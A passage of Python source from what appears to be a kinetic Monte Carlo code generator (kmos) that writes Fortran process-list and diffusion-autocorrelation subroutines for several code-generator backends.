'fortran_src', '{filename}.mpy'.format(**locals()))) as infile: template = infile.read() with open(os.path.join(self.dir, '{target}.f90'.format(**locals())), 'w') as out: out.write(evaluate_template(template, self=self, data=self.data, options=options)) def write_proclist(self, smart=True, code_generator='local_smart', accelerated=False): """Write the proclist.f90 module, i.e. the rules which make up the kMC process list. """ # make long lines a little shorter data = self.data # write header section and module imports out = open('%s/proclist.f90' % self.dir, 'w') if code_generator == 'local_smart': self.write_proclist_generic_part(data, out, code_generator=code_generator, accelerated=accelerated) self.write_proclist_run_proc_nr_smart(data, out) self.write_proclist_put_take(data, out) self.write_proclist_touchup(data, out) self.write_proclist_multilattice(data, out) self.write_proclist_end(out) elif code_generator == 'lat_int': constants_out = open('%s/proclist_constants.f90' % self.dir, 'w') self.write_proclist_constants(data, constants_out, close_module=True, code_generator=code_generator, module_name='proclist_constants', ) constants_out.close() self.write_proclist_lat_int(data, out, accelerated=accelerated) self.write_proclist_end(out) elif code_generator == 'otf': self.separate_proclist = True self.separate_proclist_pars = False # write the proclist_constant module from the template with open(os.path.join(os.path.dirname(__file__), 'fortran_src', 'proclist_constants_otf.mpy')) as infile: template = infile.read() constants_out = open('%s/proclist_constants.f90' % self.dir, 'w') constants_out.write(evaluate_template(template, self=self, data=data, module_name='proclist_constants')) constants_out.close() parameters_out = open('%s/proclist_pars.f90' % self.dir, 'w') self.write_proclist_pars_otf( data, parameters_out, separate_files = self.separate_proclist_pars) parameters_out.close() self.write_proclist_otf(data,out) self.write_proclist_end(out) else: raise Exception("Don't know this code generator '%s'" % code_generator) out.close() def write_proclist_acf(self, smart=True, code_generator='local_smart'): """Write the proclist_acf.f90 module, i.e. the routines to run the calculation of the autocorrelation function or to record the displacment.. """ # make long lines a little shorter data = self.data # write header section and module imports out = open('%s/proclist_acf.f90' % self.dir, 'w') out.write(('module proclist_acf\n' 'use kind_values\n' 'use base, only: &\n' ' update_accum_rate, &\n' ' update_integ_rate, &\n' ' determine_procsite, &\n' ' update_clocks, &\n' ' avail_sites, &\n' ' null_species, &\n' ' increment_procstat\n\n' 'use base_acf, only: &\n' ' assign_particle_id, &\n' ' update_id_arr, &\n' ' update_displacement, &\n' ' update_config_bin, &\n' ' update_buffer_acf, &\n' ' update_property_and_buffer_acf, &\n' ' drain_process, &\n' ' source_process, &\n' ' update_kmc_step_acf, &\n' ' get_kmc_step_acf, &\n' ' update_trajectory, &\n' ' update_displacement, &\n' ' nr_of_annhilations, &\n' ' wrap_count, &\n' ' update_after_wrap_acf\n\n' 'use lattice\n\n' 'use proclist\n' )) out.write('\nimplicit none\n') out.write('\n\ncontains\n\n') if code_generator == 'local_smart': self.write_proclist_generic_subroutines_acf(data, out, code_generator=code_generator) self.write_proclist_get_diff_sites_acf_smart(data,out) self.write_proclist_get_diff_sites_displacement_smart(data,out) self.write_proclist_acf_end(out) elif code_generator == 'lat_int': self.write_proclist_generic_subroutines_acf(data, out, code_generator=code_generator) self.write_proclist_get_diff_sites_acf_otf(data,out) self.write_proclist_get_diff_sites_displacement_otf(data,out) self.write_proclist_acf_end(out) elif code_generator == 'otf': self.write_proclist_generic_subroutines_acf(data, out, code_generator=code_generator) self.write_proclist_get_diff_sites_acf_otf(data,out) self.write_proclist_get_diff_sites_displacement_otf(data,out) self.write_proclist_acf_end(out) else: raise Exception("Don't know this code generator '%s'" % code_generator) out.close() def write_proclist_constants(self, data, out, code_generator='local_smart', close_module=False, module_name='proclist', accelerated=False): if accelerated: with open(os.path.join(os.path.dirname(__file__), 'fortran_src', 'proclist_constants_acc.mpy')) as infile: template = infile.read() else: with open(os.path.join(os.path.dirname(__file__), 'fortran_src', 'proclist_constants.mpy')) as infile: template = infile.read() out.write(evaluate_template(template, self=self, data=data, code_generator=code_generator, close_module=close_module, module_name=module_name)) def write_proclist_generic_part(self, data, out, code_generator='local_smart', accelerated=False): self.write_proclist_constants(data, out, close_module=False, accelerated=accelerated) out.write('\n\ncontains\n\n') self.write_proclist_generic_subroutines(data, out, code_generator=code_generator, accelerated=accelerated) def write_proclist_generic_subroutines(self, data, out, code_generator='local_smart', accelerated=False): from kmos.utils import evaluate_template if accelerated: with open(os.path.join(os.path.dirname(__file__), 'fortran_src', 'proclist_generic_subroutines_acc.mpy')) as infile: template = infile.read() else: with open(os.path.join(os.path.dirname(__file__), 'fortran_src', 'proclist_generic_subroutines.mpy')) as infile: template = infile.read() out.write(evaluate_template(template, self=self, data=data, code_generator=code_generator, )) def write_proclist_generic_subroutines_acf(self, data, out, code_generator='local_smart'): from kmos.utils import evaluate_template with open(os.path.join(os.path.dirname(__file__), 'fortran_src', 'proclist_generic_subroutines_acf.mpy')) as infile: template = infile.read() out.write(evaluate_template(template, self=self, data=data, code_generator=code_generator, )) def write_proclist_run_proc_nr_smart(self, data, out): # run_proc_nr runs the process selected by determine_procsite # for sake of simplicity each process is formulated in terms # of take and put operations. This is due to the fact that # in surface science type of models the default species, # i.e. 'empty' has a special meaning. So instead of just # 'setting' new species, which would be more general # we say we 'take' and 'put' atoms. So a take is equivalent # to a set_empty. # While this looks more readable on paper, I am not sure # if this make code maintainability a lot worse. So this # should probably change. out.write('subroutine run_proc_nr(proc, nr_site)\n\n' '!****f* proclist/run_proc_nr\n' '! FUNCTION\n' '! Runs process ``proc`` on site ``nr_site``.\n' '!\n' '! ARGUMENTS\n' '!\n' '! * ``proc`` integer representing the process number\n' '! * ``nr_site`` integer representing the site\n' '!******\n' ' integer(kind=iint), intent(in) :: proc\n' ' integer(kind=iint), intent(in) :: nr_site\n\n' ' integer(kind=iint), dimension(4) :: lsite\n\n' ' call increment_procstat(proc)\n\n' ' ! lsite = lattice_site, (vs. scalar site)\n' ' lsite = nr2lattice(nr_site, :)\n\n' ' select case(proc)\n') for process in data.process_list: out.write(' case(%s)\n' % process.name) if data.meta.debug > 0: out.write(('print *,"PROCLIST/RUN_PROC_NR/NAME","%s"\n' 'print *,"PROCLIST/RUN_PROC_NR/LSITE","lsite"\n' 'print *,"PROCLIST/RUN_PROC_NR/SITE","site"\n') % process.name) for action in process.action_list: if action.coord == process.executing_coord(): relative_coord = 'lsite' else: relative_coord = 'lsite%s' % (action.coord - process.executing_coord()).radd_ff() try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species[0] == '^': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","create %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call create_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species[0] == '$': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","annihilate %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call annihilate_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species == data.species_list.default_species \ and not action.species == previous_species: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' call take_%s_%s_%s(%s)\n' % (previous_species, action.coord.layer, action.coord.name, relative_coord)) else: if not previous_species == action.species: if not previous_species == data.species_list.default_species: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' call take_%s_%s_%s(%s)\n' % (previous_species, action.coord.layer, action.coord.name, relative_coord)) if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' call put_%s_%s_%s(%s)\n' % (action.species, action.coord.layer, action.coord.name, relative_coord)) out.write('\n') out.write(' end select\n\n') out.write('end subroutine run_proc_nr\n\n') def write_proclist_get_diff_sites_acf_smart(self, data, out): # get_diff_sites_acf gives the site ``init_site``, which is occupied by the particle before the diffusion process # and also the site ``fin_site`` after the diffusion process. out.write('subroutine get_diff_sites_acf(proc,nr_site,init_site,fin_site)\n\n' '!****f* proclist_acf/get_diff_sites_acf\n' '! FUNCTION\n' '! get_diff_sites_acf gives the site ``init_site``, which is occupied by the particle before the diffusion process \n' '! and also the site ``fin_site`` after the diffusion process.\n' '!\n' '! ARGUMENTS\n' '!\n' '! * ``proc`` integer representing the process number\n' '! * ``nr_site`` integer representing the site\n' '! * ``init_site`` integer representing the site, which is occupied by the particle before the diffusion process takes place\n' '! * ``fin_site`` integer representing the site, which is occupied by the particle after the diffusion process\n' '!******\n' ' integer(kind=iint), intent(in) :: proc\n' ' integer(kind=iint), intent(in) :: nr_site\n' ' integer(kind=iint), intent(out) :: init_site, fin_site\n\n' ' integer(kind=iint), dimension(4) :: lsite\n' ' integer(kind=iint), dimension(4) :: lsite_new\n' ' integer(kind=iint), dimension(4) :: lsite_old\n' ' integer(kind=iint) :: exit_site, entry_site\n\n' ' lsite = nr2lattice(nr_site, :)\n\n' ' select case(proc)\n') for process in data.process_list: out.write(' case(%s)\n' % process.name) source_species = 0 if data.meta.debug > 0: out.write(('print *,"PROCLIST/RUN_PROC_NR/NAME","%s"\n' 'print *,"PROCLIST/RUN_PROC_NR/LSITE","lsite"\n' 'print *,"PROCLIST/RUN_PROC_NR/SITE","site"\n') % process.name) for action in process.action_list: try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species == previous_species: source_species = action.species for action in process.action_list: if action.coord == process.executing_coord(): relative_coord = 'lsite' else: relative_coord = 'lsite%s' % (action.coord - process.executing_coord()).radd_ff() try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species[0] == '^': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","create %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call create_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species[0] == '$': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","annihilate %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call annihilate_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species == data.species_list.default_species \ and not action.species == previous_species and source_species == 0: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_old = (%s)\n' % (relative_coord)) out.write(' init_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) elif action.species == data.species_list.default_species \ and not action.species == previous_species and not source_species == 0: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_old = (%s)\n' % (relative_coord)) out.write(' exit_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) out.write(' call drain_process(exit_site,init_site,fin_site)\n' ) else: if not previous_species == action.species: if not previous_species == data.species_list.default_species: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' call take_%s_%s_%s(%s)\n' % (previous_species, action.coord.layer, action.coord.name, relative_coord)) if source_species == 0: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = (%s)\n' % (relative_coord)) out.write(' fin_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) if not source_species == 0: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = (%s)\n' % (relative_coord)) out.write(' entry_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) out.write(' call source_process(entry_site,init_site,fin_site)\n' ) out.write('\n') out.write(' end select\n\n') out.write('end subroutine get_diff_sites_acf\n\n') def write_proclist_get_diff_sites_displacement_smart(self, data, out): # get_diff_sites_displacement gives the site ``init_site``, which is occupied by the particle before the diffusion process # and also the site ``fin_site`` after the diffusion process. # Additionally, the displacement of the jumping particle will be saved. out.write('subroutine get_diff_sites_displacement(proc,nr_site,init_site,fin_site,displace_coord)\n\n' '!****f* proclist_acf/get_diff_sites_displacement\n' '! FUNCTION\n' '! get_diff_sites_displacement gives the site ``init_site``, which is occupied by the particle before the diffusion process \n' '! and also the site ``fin_site`` after the diffusion process.\n' '! Additionally, the displacement of the jumping particle will be saved.\n' '!\n' '! ARGUMENTS\n' '!\n' '! * ``proc`` integer representing the process number\n' '! * ``nr_site`` integer representing the site\n' '! * ``init_site`` integer representing the site, which is occupied by the particle before the diffusion process takes place\n' '! * ``fin_site`` integer representing the site, which is occupied by the particle after the diffusion process\n' '! * ``displace_coord`` writeable 3 dimensional array, in which the displacement of the jumping particle will be stored.\n' '!******\n' ' integer(kind=iint), intent(in) :: proc\n' ' integer(kind=iint), intent(in) :: nr_site\n' ' integer(kind=iint), intent(out) :: init_site, fin_site\n\n' ' integer(kind=iint), dimension(4) :: lsite\n' ' integer(kind=iint), dimension(4) :: lsite_new\n' ' integer(kind=iint), dimension(4) :: lsite_old\n' ' integer(kind=iint) :: exit_site, entry_site\n' ' real(kind=rdouble), dimension(3), intent(out) :: displace_coord\n\n' ' lsite = nr2lattice(nr_site, :)\n\n' ' select case(proc)\n') for process in data.process_list: out.write(' case(%s)\n' % process.name) source_species = 0 if data.meta.debug > 0: out.write(('print *,"PROCLIST/RUN_PROC_NR/NAME","%s"\n' 'print *,"PROCLIST/RUN_PROC_NR/LSITE","lsite"\n' 'print *,"PROCLIST/RUN_PROC_NR/SITE","site"\n') % process.name) for action in process.action_list: try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species == previous_species: source_species = action.species for action in process.action_list: if action.coord == process.executing_coord(): relative_coord = 'lsite' else: relative_coord = 'lsite%s' % (action.coord - process.executing_coord()).radd_ff() try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species[0] == '^': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","create %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call create_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species[0] == '$': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","annihilate %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call annihilate_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species == data.species_list.default_species \ and not action.species == previous_species and source_species == 0: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_old = (%s)\n' % (relative_coord)) out.write(' init_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) elif action.species == data.species_list.default_species \ and not action.species == previous_species and not source_species == 0: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_old = (%s)\n' % (relative_coord)) out.write(' exit_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) out.write(' call drain_process(exit_site,init_site,fin_site)\n' ) else: if not previous_species == action.species: if not previous_species == data.species_list.default_species: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' call take_%s_%s_%s(%s)\n' % (previous_species, action.coord.layer, action.coord.name, relative_coord)) if source_species == 0: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = (%s)\n' % (relative_coord)) out.write(' fin_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) if not source_species == 0: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = (%s)\n' % (relative_coord)) out.write(' entry_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) out.write(' call source_process(entry_site,init_site,fin_site)\n' ) out.write(' displace_coord = matmul(unit_cell_size,(/(lsite_new(1)-lsite_old(1)),(lsite_new(2)-lsite_old(2)),(lsite_new(3)-lsite_old(3))/) + (site_positions(lsite_new(4),:) - site_positions(lsite_old(4),:)))\n' ) out.write('\n') out.write(' end select\n\n') out.write('end subroutine get_diff_sites_displacement\n\n') def write_proclist_get_diff_sites_acf_otf(self, data, out): # get_diff_sites_acf gives the site ``init_site``, which is occupied by the particle before the diffusion process # and also the site ``fin_site`` after the diffusion process. out.write('subroutine get_diff_sites_acf(proc,nr_site,init_site,fin_site)\n\n' '!****f* proclist_acf/get_diff_sites_acf\n' '! FUNCTION\n' '! get_diff_sites_acf gives the site ``init_site``, which is occupied by the particle before the diffusion process \n' '! and also the site ``fin_site`` after the diffusion process.\n' '!\n' '! ARGUMENTS\n' '!\n' '! * ``proc`` integer representing the process number\n' '! * ``nr_site`` integer representing the site\n' '! * ``init_site`` integer representing the site, which is occupied by the particle before the diffusion process takes place\n' '! * ``fin_site`` integer representing the site, which is occupied by the particle after the diffusion process\n' '!******\n' ' integer(kind=iint), intent(in) :: proc\n' ' integer(kind=iint), intent(in) :: nr_site\n' ' integer(kind=iint), intent(out) :: init_site, fin_site\n\n' ' integer(kind=iint), dimension(4) :: lsite\n' ' integer(kind=iint), dimension(4) :: lsite_new\n' ' integer(kind=iint), dimension(4) :: lsite_old\n' ' integer(kind=iint) :: exit_site, entry_site\n\n' ' lsite = nr2lattice(nr_site, :) + (/0,0,0,-1/)\n\n' ' select case(proc)\n') for process in data.process_list: out.write(' case(%s)\n' % process.name) source_species = 0 if data.meta.debug > 0: out.write(('print *,"PROCLIST/RUN_PROC_NR/NAME","%s"\n' 'print *,"PROCLIST/RUN_PROC_NR/LSITE","lsite"\n' 'print *,"PROCLIST/RUN_PROC_NR/SITE","site"\n') % process.name) for action in process.action_list: try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species == previous_species: source_species = action.species for i_action, action in enumerate(process.action_list): if action.coord == process.executing_coord(): relative_coord = 'lsite' else: relative_coord = 'lsite%s' % (action.coord - process.executing_coord()).radd_ff() action_coord = process.action_list[i_action].coord.radd_ff() process_exec = process.action_list[1-i_action].coord.radd_ff() try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species[0] == '^': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","create %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call create_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species[0] == '$': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","annihilate %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call annihilate_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species == data.species_list.default_species \ and not action.species == previous_species and source_species == 0 and action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_new = lsite%s\n' % (process_exec)) out.write(' fin_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) elif action.species == data.species_list.default_species \ and not action.species == previous_species and source_species == 0 and not action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_old = lsite%s\n' % (action_coord)) out.write(' init_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) elif action.species == data.species_list.default_species \ and not action.species == previous_species and not source_species == 0 and action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_new = lsite%s\n' % (process_exec)) out.write(' entry_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) out.write(' call source_process(entry_site,init_site,fin_site)\n' ) elif action.species == data.species_list.default_species \ and not action.species == previous_species and not source_species == 0 and not action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_old = lsite%s\n' % (action_coord)) out.write(' exit_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) out.write(' call drain_process(exit_site,init_site,fin_site)\n' ) else: if not previous_species == action.species: if not previous_species == data.species_list.default_species: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' call take_%s_%s_%s(%s)\n' % (previous_species, action.coord.layer, action.coord.name, relative_coord)) if source_species == 0 and action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = lsite%s\n' % (action_coord)) out.write(' fin_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) if source_species == 0 and not action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_old = lsite%s\n' % (process_exec)) out.write(' init_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) if not source_species == 0 and action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = lsite%s\n' % (action_coord)) out.write(' entry_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) out.write(' call source_process(entry_site,init_site,fin_site)\n' ) if not source_species == 0 and not action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = lsite%s\n' % (action_coord)) out.write(' entry_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) out.write(' call source_process(entry_site,init_site,fin_site)\n' ) out.write('\n') out.write(' end select\n\n') out.write('end subroutine get_diff_sites_acf\n\n') def write_proclist_get_diff_sites_displacement_otf(self, data, out): # get_diff_sites_displacement gives the site ``init_site``, which is occupied by the particle before the diffusion process # and also the site ``fin_site`` after the diffusion process. # Additionally, the displacement of the jumping particle will be saved. out.write('subroutine get_diff_sites_displacement(proc,nr_site,init_site,fin_site,displace_coord)\n\n' '!****f* proclist_acf/get_diff_sites_displacement\n' '! FUNCTION\n' '! get_diff_sites_displacement gives the site ``init_site``, which is occupied by the particle before the diffusion process \n' '! and also the site ``fin_site`` after the diffusion process.\n' '! Additionally, the displacement of the jumping particle will be saved.\n' '!\n' '! ARGUMENTS\n' '!\n' '! * ``proc`` integer representing the process number\n' '! * ``nr_site`` integer representing the site\n' '! * ``init_site`` integer representing the site, which is occupied by the particle before the diffusion process takes place\n' '! * ``fin_site`` integer representing the site, which is occupied by the particle after the diffusion process\n' '! * ``displace_coord`` writeable 3 dimensional array, in which the displacement of the jumping particle will be stored.\n' '!******\n' ' integer(kind=iint), intent(in) :: proc\n' ' integer(kind=iint), intent(in) :: nr_site\n' ' integer(kind=iint), intent(out) :: init_site, fin_site\n\n' ' integer(kind=iint), dimension(4) :: lsite\n' ' integer(kind=iint), dimension(4) :: lsite_new\n' ' integer(kind=iint), dimension(4) :: lsite_old\n' ' integer(kind=iint) :: exit_site, entry_site\n' ' real(kind=rdouble), dimension(3), intent(out) :: displace_coord\n\n' ' lsite = nr2lattice(nr_site, :) + (/0,0,0,-1/)\n\n' ' select case(proc)\n') for process in data.process_list: out.write(' case(%s)\n' % process.name) source_species = 0 if data.meta.debug > 0: out.write(('print *,"PROCLIST/RUN_PROC_NR/NAME","%s"\n' 'print *,"PROCLIST/RUN_PROC_NR/LSITE","lsite"\n' 'print *,"PROCLIST/RUN_PROC_NR/SITE","site"\n') % process.name) for action in process.action_list: try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species == previous_species: source_species = action.species for i_action, action in enumerate(process.action_list): if action.coord == process.executing_coord(): relative_coord = 'lsite' else: relative_coord = 'lsite%s' % (action.coord - process.executing_coord()).radd_ff() action_coord = process.action_list[i_action].coord.radd_ff() process_exec = process.action_list[1-i_action].coord.radd_ff() try: previous_species = filter(lambda x: x.coord.ff() == action.coord.ff(), process.condition_list)[0].species except: UserWarning("""Process %s seems to be ill-defined. Every action needs a corresponding condition for the same site.""" % process.name) if action.species[0] == '^': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","create %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call create_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species[0] == '$': if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","annihilate %s_%s"\n' % (action.coord.layer, action.coord.name)) out.write(' call annihilate_%s_%s(%s, %s)\n' % (action.coord.layer, action.coord.name, relative_coord, action.species[1:])) elif action.species == data.species_list.default_species \ and not action.species == previous_species and source_species == 0 and action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_new = lsite%s\n' % (process_exec)) out.write(' fin_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) elif action.species == data.species_list.default_species \ and not action.species == previous_species and source_species == 0 and not action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_old = lsite%s\n' % (action_coord)) out.write(' init_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) elif action.species == data.species_list.default_species \ and not action.species == previous_species and not source_species == 0 and action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_new = lsite%s\n' % (process_exec)) out.write(' entry_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) out.write(' call source_process(entry_site,init_site,fin_site)\n' ) elif action.species == data.species_list.default_species \ and not action.species == previous_species and not source_species == 0 and not action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' lsite_old = lsite%s\n' % (action_coord)) out.write(' exit_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) out.write(' call drain_process(exit_site,init_site,fin_site)\n' ) else: if not previous_species == action.species: if not previous_species == data.species_list.default_species: if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","take %s_%s %s"\n' % (action.coord.layer, action.coord.name, previous_species)) out.write(' call take_%s_%s_%s(%s)\n' % (previous_species, action.coord.layer, action.coord.name, relative_coord)) if source_species == 0 and action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = lsite%s\n' % (action_coord)) out.write(' fin_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) if source_species == 0 and not action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_old = lsite%s\n' % (process_exec)) out.write(' 